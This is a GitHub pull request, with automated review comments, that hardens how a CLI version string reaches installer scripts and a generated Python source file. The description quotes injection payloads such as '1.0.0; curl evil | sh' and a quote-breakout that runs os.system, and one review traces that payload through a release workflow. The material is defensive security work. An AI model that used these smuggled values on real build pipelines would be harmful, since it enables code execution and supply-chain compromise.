Harden CLI version handling in the install and pin paths#1125
Conversation
The CLI version string reaches two sinks that can execute it: the
installer we hand it to, and src/claude_agent_sdk/_cli_version.py, a real
source file we later import. Neither was validated, so a value like
`1.0.0; curl evil | sh` or `1.0.0" + __import__("os").system("id") + "`
was live.
Fix it in layers, so no single one is load-bearing:
- Add scripts/_cli_version_validation.py, an allowlist that is a strict
subset of install.sh's own grammar. The installer's `-[^\s]+` suffix
would admit quotes, backslashes and semicolons; this narrows it to the
characters real versions use. Dist-tags are accepted for a download but
rejected for a pin, since _cli_version.py is the only record of which
build went into the wheels.
- Pass the version as a discrete argv element on Unix (`["bash", script,
version]`) and via an environment variable on Windows, never as command
text. Even with the allowlist removed, no sink parses the value as code.
- Write the pin with json.dumps() and a callable re.subn() replacement, so
the value can neither close the string literal nor be reinterpreted as a
backslash escape.
The Windows path also piped an unverified HTTP body straight into `iex`.
claude.ai answers unknown paths with HTTP 200 and an HTML body, which
Invoke-RestMethod cannot detect, so an error page would have been
executed. Both platforms now download the installer to a temp file, check
its body, and only then execute it; `iex` and `[scriptblock]::Create` are
gone from this path.
Finally, fail fast on deterministic failures. A missing curl/bash/
powershell, or an install script whose body is wrong, cannot be fixed by
trying again -- these were being retried three times and then reported as
"Error downloading CLI after 3 attempts", which reads as a network fault.
Adds tests for both scripts, covering metacharacter and control-character
rejection, quote-breakout attempts against the file write, the
unanchored-pattern guard, and the `iex` regression.
:house: Remote-Dev: homespace
![claude[bot]](https://avatars.githubusercontent.com/in/1236702?s=60&v=4){kind=small}
There was a problem hiding this comment.
Beyond the inline findings, two candidates were examined and ruled out this run: (1) retry_install()'s OSError handler misattributing a check-step file-read error to "could not run the install command" — the script file was just written by the download step in the same attempt, so a read failure there is not a realistic path; (2) the Windows body check being a denylist that lets non-HTML wrong bodies through — a non-HTML garbage body fails in PowerShell and is retried, which is no worse than the pre-existing behavior; the check targets the specific known claude.ai 200+HTML failure mode.
Extended reasoning...
Bugs were found by the hunting system (notably the Windows powershell -Command exit-code swallowing regression), so this PR should get human review via the inline comments rather than a shadow approval. This note only records the two additional candidate issues that finder agents raised and verifier agents refuted this run, so the author and any later review pass can see they were already examined. It is informational only and makes no claim beyond those two items.
| install_command = f"& $env:{INSTALL_SCRIPT_ENV_VAR}" | ||
| if version != DEFAULT_VERSION: | ||
| install_command += f" $env:{INSTALL_VERSION_ENV_VAR}" | ||
| install_env[INSTALL_VERSION_ENV_VAR] = version | ||
|
|
||
| return _InstallPlan( | ||
| script_path=script_path, | ||
| download=(download_cmd, download_env), | ||
| check=check_powershell_install_script, | ||
| install=(_powershell(install_command), install_env), |
There was a problem hiding this comment.
🔴 The Windows install step runs the downloaded installer via powershell -Command "& $env:CLAUDE_CLI_INSTALL_SCRIPT ...", which swallows the script's exit code: exit 1 inside a .ps1 invoked with & only exits that script's scope, $LASTEXITCODE is never consulted, and powershell.exe exits 0 — so run_command's check=True never trips and a failed install reads as success. This is a regression from the old iex/scriptblock paths, where installer exit N terminated the whole process; the consequence is that retry_install() skips retries, the installer's captured stderr is discarded, and copy_cli_to_bundle() may silently bundle a stale claude.exe found on PATH into the published wheel. Fix: invoke via powershell -File <path> [<version>] (propagates the script's exit code and keeps the argv separation this PR wants) or append ; exit $LASTEXITCODE to the command string.
Extended reasoning...
The bug. _windows_plan() (scripts/download_cli.py:232-241) builds the install step as powershell -ExecutionPolicy Bypass -Command "& $env:CLAUDE_CLI_INSTALL_SCRIPT [$env:CLAUDE_CLI_INSTALL_VERSION]". Two PowerShell semantics combine into a failure-detection hole. First, exit N inside a script file invoked with the call operator & terminates only that script's scope; it returns control to the caller, setting $LASTEXITCODE, and does not terminate the powershell.exe process. Second, powershell -Command "<string>" derives its process exit code from whether the command string itself completed successfully ($?). Invoking a script that ended via exit 1 is a successful invocation — $? stays true, $LASTEXITCODE is never consulted — so powershell.exe exits 0. This is the canonical, extensively documented -Command-swallows-script-exit-codes CI pitfall; the GitHub Actions runner itself appends if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE } to every powershell/pwsh step to work around exactly this, and Microsoft's docs recommend -File for exit-code propagation.\n\nStep-by-step proof. Suppose install.ps1 hits a failure it signals conventionally, e.g. Write-Error 'download failed'; exit 1 (its bash sibling signals failure with exit codes the same way):\n1. run_command() (scripts/download_cli.py:95) execs ['powershell', '-ExecutionPolicy', 'Bypass', '-Command', '& $env:CLAUDE_CLI_INSTALL_SCRIPT'] with check=True.\n2. Inside PowerShell, & runs the .ps1 as a script file. The script's exit 1 unwinds only the script scope and sets $LASTEXITCODE = 1 in the calling (session) scope.\n3. The -Command string has now completed without a terminating error, so $? is $true. PowerShell maps that to process exit code 0 — $LASTEXITCODE is never read.\n4. subprocess.run(..., check=True) sees returncode 0 → no CalledProcessError → retry_install() (line 174) returns on the first "successful" attempt; the installer's captured stderr is silently discarded.\n5. main() proceeds to copy_cli_to_bundle() → find_installed_cli() (line 66), which searches shutil.which('claude') and well-known directories. Either no binary exists and the build dies with the misleading Error: Could not find installed Claude CLI binary (the real cause — the installer's stderr — is gone), or a stale claude.exe from a cached image / self-hosted runner / earlier partial install is found and the wrong CLI build is silently bundled into the published wheel — the exact supply-chain-integrity property this PR sets out to protect.\n\nWhy this is a regression introduced by this PR, not pre-existing. The old code executed the installer text, not a script file: irm https://claude.ai/install.ps1 | iex for latest, and & ([scriptblock]::Create(...)) <version> otherwise. Neither iex at session scope nor a scriptblock is an exit-absorbing scope — exit N there terminates the whole powershell.exe process with code N (this is why & { exit } typed at a console closes the console). So installer exit-code failures previously surfaced as a nonzero exit → CalledProcessError → retried and reported with stdout/stderr. Switching to a downloaded script file invoked via & inside -Command is what introduced the absorbing scope. The Unix path is unaffected (bash script.sh propagates the script's exit status as bash's own), and the Windows download step is unaffected (Invoke-RestMethod failures throw terminating errors, which do flip $? and make -Command exit 1).\n\nWhy nothing else catches it. Every new test in tests/test_download_cli.py stubs subprocess.run, so no test observes real PowerShell exit-code behavior — the mocked-out layer is precisely where the semantics live. One honest caveat: if the live install.ps1 signals every failure via throw rather than exit, the terminating error would propagate and -Command would exit 1. But installers conventionally use exit codes (the bash sibling does), and even under that uncertainty the PR makes Windows failure detection depend on an unverifiable external contract ('the installer never uses exit') that the pre-PR code did not require.\n\nThe fix is one line and strengthens the PR's own design. Preferred: invoke via powershell -ExecutionPolicy Bypass -File <script_path> [<version>] — -File propagates the script's exit code as the process exit code, and it passes the path and version as discrete argv elements, which is exactly the no-injection argv-separation property the PR built the env-var indirection to get (with -File you no longer need $env: expansion at all, though a space-containing temp path is also fine as a normal -File argument). Alternatively, keep the current shape and append ; exit $LASTEXITCODE to the -Command string. Either restores the failure signal at run_command()'s check=True, re-enabling the retry loop and the final stdout/stderr report.\n\nSeverity: normal. This PR's stated purpose is hardening this exact install path; as written it regresses Windows failure detection from 'failures raise, retry, and report' to 'failures read as success', with a worst case of a stale/wrong binary bundled into published wheels and a best case of a misleading error that discards the real diagnostics.
| # scripts/ is not a package. Running this file directly puts scripts/ on | ||
| # sys.path, but loading it by path (as the tests do) does not. Appended, not | ||
| # prepended: the tests' entry outlives the import, and a prepended scripts/ | ||
| # could shadow a stdlib module for the whole pytest process. | ||
| _SCRIPTS_DIR = str(Path(__file__).parent) | ||
| if _SCRIPTS_DIR not in sys.path: | ||
| sys.path.append(_SCRIPTS_DIR) | ||
|
|
||
| import _cli_version_validation as version_validation # noqa: E402 |
There was a problem hiding this comment.
🟡 The pull_request paths filter in .github/workflows/build-wheel-check.yml lists scripts/build_wheel.py and scripts/download_cli.py but not the new scripts/_cli_version_validation.py, which is now a hard dependency of the wheel build (validate_version() gates every CLI download). A future PR editing only the validation module would skip the dry-run entirely, deferring any regression to the release runners at publish time — add scripts/_cli_version_validation.py to the workflow's paths list.
Extended reasoning...
The gap. This PR extracts the CLI version rule out of scripts/download_cli.py into a new shared module, scripts/_cli_version_validation.py (imported at scripts/download_cli.py:20-28). That module is now on the wheel build's critical path: get_cli_version() raises ValueError unless validate_version() accepts the value, so every CLI download during a wheel build goes through it. But .github/workflows/build-wheel-check.yml's pull_request paths filter (lines 7-13) still lists only scripts/build_wheel.py, scripts/download_cli.py, the two workflow files, pyproject.toml, and MANIFEST.in.
How the coverage was lost. Before this PR, the entire version-handling rule lived inside download_cli.py, which is in the filter — so any change to the rule triggered the dry-run. Extracting the rule into a new, unlisted file silently removed that trigger. The workflow's own header says it exists to "catch packaging regressions before a release, instead of discovering them at publish time", which is exactly the failure mode this gap reopens.
Why nothing else catches it. test.yml runs on every PR, but the new tests/test_download_cli.py / tests/test_update_cli_version.py suites mock subprocess throughout — none performs a real download or exercises the actually-pinned version against the validator. A PR that changes the validation rule would typically update those unit tests in lockstep, so they'd stay green.
Step-by-step proof. (1) A future PR edits only scripts/_cli_version_validation.py — say, tightening VERSION_PATTERN in a way that rejects the dev-build suffix shape actually pinned in src/claude_agent_sdk/_cli_version.py (e.g. 2.1.146-dev.20260519.t105443.shaece3dab), updating the unit tests to match. (2) build-wheel-check.yml never runs: no path in its filter changed. (3) test.yml passes: the mocked tests were updated alongside the pattern. (4) The PR merges. (5) At the next release, build-and-publish.yml runs build_wheel.py, which reads the pin via get_bundled_cli_version(), exports CLAUDE_CLI_VERSION, and invokes download_cli.py — whose get_cli_version() now raises ValueError on the pinned version. The regression surfaces on the five release runners at publish time, precisely what the dry-run workflow was added to prevent.
Why this belongs to this PR. The PR description defers "CI-hygiene changes" to #1117, but this specific gap is created by this PR's new file — it didn't exist before, so it can't be pre-existing hygiene work.
Fix. One added line in the workflow's paths list:
- 'scripts/_cli_version_validation.py'Severity. Nit: merging as-is causes no concrete failure — it removes a safety net for a hypothetical future PR shape, and the fix is a one-line workflow edit that could also land in #1117's rebase.
| new_version = version_validation.validate_version( | ||
| new_version, source="CLI version", allow_dist_tag=False | ||
| ) | ||
|
|
||
| if version_path is None: | ||
| version_path = DEFAULT_VERSION_PATH | ||
| content = version_path.read_text() | ||
|
|
||
| content = re.sub( | ||
| r'__cli_version__ = "[^"]+"', | ||
| f'__cli_version__ = "{new_version}"', | ||
| content, | ||
| count=1, | ||
| flags=re.MULTILINE, | ||
| # json.dumps() rather than an f-string: it always emits a closed, | ||
| # double-quoted, fully escaped literal, so a widened VERSION_PATTERN could | ||
| # never make this file unparseable or inject code. repr() is not an option | ||
| # -- it emits single quotes, which build_wheel.py's reader would not match. | ||
| literal = f"__cli_version__ = {json.dumps(new_version)}" | ||
|
|
||
| # A callable replacement, because re.sub() applies backslash-escape | ||
| # processing to a *string* replacement -- \1 and \g<0> expand, \n becomes a | ||
| # newline, and a bare trailing \ raises. A callable's return value is used | ||
| # literally. | ||
| new_content, count = ASSIGNMENT_PATTERN.subn( | ||
| lambda _match: literal, content, count=1 | ||
| ) | ||
| if count != 1: | ||
| raise ValueError(f"No __cli_version__ assignment found in {version_path}") |
There was a problem hiding this comment.
🟣 Pre-existing issue, not introduced by this PR: scripts/update_version.py (lines 16–38) still contains the exact injection sink this PR removes from update_cli_version.py — it writes an unvalidated, f-string-interpolated version into pyproject.toml and src/claude_agent_sdk/_version.py via re.sub, fed by the same release-workflow input (build-and-publish.yml inputs.version), and the result is committed to main. The machinery this PR builds (validate_version + json.dumps + callable subn + count check) applies mechanically to that sibling script.
Extended reasoning...
What the bug is. scripts/update_version.py:16-38 performs two re.sub() calls whose replacement is an f-string containing the raw, caller-supplied version: f'version = "{new_version}"' into pyproject.toml and f'__version__ = "{new_version}"' into src/claude_agent_sdk/_version.py. There is no validation anywhere in the script. _version.py is a real source file the published package imports, so this is the same sink shape this PR just eliminated in update_cli_version.py — a quote in the version closes the string literal and the remainder becomes executable Python.
The code path that triggers it. The value originates from the same release workflow this PR's threat model names. .github/workflows/build-and-publish.yml:34 runs python scripts/build_wheel.py --version "${{ inputs.version }}", which shells out to update_version.py (scripts/build_wheel.py:57-69) on each of the wheel-build matrix runners; line 64 runs python scripts/update_version.py "$VERSION" directly in the publish job with VERSION: ${{ inputs.version }} (line 52). No validation of inputs.version exists anywhere in the workflow before those calls. After the publish-job invocation, the workflow commits the modified pyproject.toml and _version.py and pushes to main (lines 184+), so whatever the input expanded to lands in the repository's default branch as well as the wheel-adjacent tree.
Why nothing prevents it. This PR hardened update_cli_version.py (validation before the write, json.dumps() for the literal, a callable re.subn() replacement, and a count != 1 guard) — but did not touch its sibling. Nothing in the PR description or the remaining #1117 scope (the build_wheel.py pin-reader fallback, CI hygiene) claims update_version.py is being handled elsewhere, so the hardening is incomplete against the identical input, from the identical workflow.
Step-by-step proof. Dispatch the release workflow with inputs.version set to 1.0.0" + __import__("os").system("id") + ". (1) Line 52 exports it as $VERSION; line 64 passes it as a single argv element to update_version.py — the quoting protects the shell hop, but not the file write. (2) The second re.sub produces __version__ = "1.0.0" + __import__("os").system("id") + "" in _version.py — syntactically valid Python that executes id at import time. (3) The publish job commits and pushes that file to main. The matching pyproject.toml corruption would likely fail python -m build before publish, but the poisoned _version.py is written (and, in the publish job, committed) unconditionally. Two secondary hazards from the same string replacement: backslash escape-processing (\\g<0> expands; a version ending in a bare \\ raises re.error after pyproject.toml was rewritten but before _version.py, desynchronizing the two files), and the silent no-op (a non-matching count=1 re.sub leaves the file stale while still printing Updated ... — the exact failure mode this PR's count != 1 → ValueError guard fixes in update_cli_version.py:55-56).
Impact. Anyone able to supply the workflow's version input gets arbitrary Python into a source file the published package imports and into a commit on main — the same supply-chain class the PR description declares live for CLAUDE_CLI_VERSION.
How to fix. The fix is mechanical reuse of what this PR just built: validate with _cli_version_validation.validate_version(..., allow_dist_tag=False) (or an SDK-version sibling of it, since SDK versions may not share the CLI grammar), emit the _version.py literal via json.dumps(), use a callable re.subn() replacement, and raise when the replacement count is not exactly 1. A natural home is #1117, which carries the remaining release-integrity work.
Severity is pre_existing: this PR does not touch update_version.py, add callers to it, or change its inputs — flagging it here only because the PR hardens the identical pattern one script over, invoked from the same workflow, and the fix machinery is fresh.
|
Superseded by #1117, which merged with byte-identical content for these files. Closing. |
1 participant
The problem
The Claude Code CLI version string reaches two sinks that can execute it:
scripts/download_cli.pyhands it toinstall.sh/install.ps1.scripts/update_cli_version.pywrites it intosrc/claude_agent_sdk/_cli_version.py, whichbuild_wheel.pyreads back and the package imports.Neither validated the value. Both of these were live:
The value's origin is a CI input / release-workflow argument, so this is a supply-chain path into the published wheels, not just a footgun.
The fix is layered
No single layer is load-bearing — remove any one and the value still isn't executable.
An allowlist that is a strict subset of the installer's own grammar. New
scripts/_cli_version_validation.py, shared by both scripts so the rule can't drift into two copies.install.shenforces^(stable|latest|[0-9]+\.[0-9]+\.[0-9]+(-[^[:space:]]+)?)$— that-[^\s]+suffix would happily accept quotes, backslashes and semicolons, so the suffix here is narrowed to the characters real versions actually use. Dist-tags (latest,stable) are accepted for a download, which resolves them at install time, but rejected for a pin:_cli_version.pyis the only record of which build went into the wheels, and a moving tag makes that record a lie.The value is never command text. Unix passes it as a discrete argv element (
["bash", script, version]); Windows passes it via an environment variable and references$env:NAMEin argument position, which expands to exactly one argument. So even with the allowlist deleted, no sink parses the version as code.The file write can't be escaped out of.
json.dumps()instead of an f-string — it always emits a closed, fully-escaped double-quoted literal. And a callablere.subn()replacement, because a string replacement gets backslash-escape processing (\1expands,\nbecomes a newline, a trailing\raises); a callable's return value is used literally.The Windows path was executing unverified HTTP bodies
It piped the response straight into
iex.claude.aianswers unknown paths with HTTP 200 and an HTML body, whichInvoke-RestMethodcannot detect — so an error page would have been handed toiexand executed.Both platforms now download → verify → execute: fetch the installer to a temp file, check its body (shebang on Unix; not-empty and not-an-HTML/XML-document on Windows, exempting the legitimate
<#comment-help opener), and only then run it.iexand[scriptblock]::Createare gone from this path.Deterministic failures now fail fast
A missing
curl/bash/powershell, or an install script whose body is wrong, cannot be fixed by trying again. These were retried three times and then reported asError downloading CLI after 3 attempts— which reads as a network fault and sends you looking in the wrong place. They now fail immediately with the actual reason.Tests
New
tests/test_download_cli.pyandtests/test_update_cli_version.py(173 tests). Coverage includes metacharacter and control-character rejection, quote-breakout attempts against the file write, a guard thatVERSION_PATTERNstays unanchored (so a future swap offullmatch()formatch()fails loudly on1.0.0; idinstead of silently accepting a trailing newline), and a regression guard thatiex/[scriptblock]::Createnever come back. Every test mockssubprocess— none performs a real install.Scope
Split out of #1117 so the security core can land on its own. The release-integrity work (the
build_wheel.pypin reader, which currently falls back tolatestinstead of failing) and the CI-hygiene changes stay on #1117 and will be rebased onto main once this lands.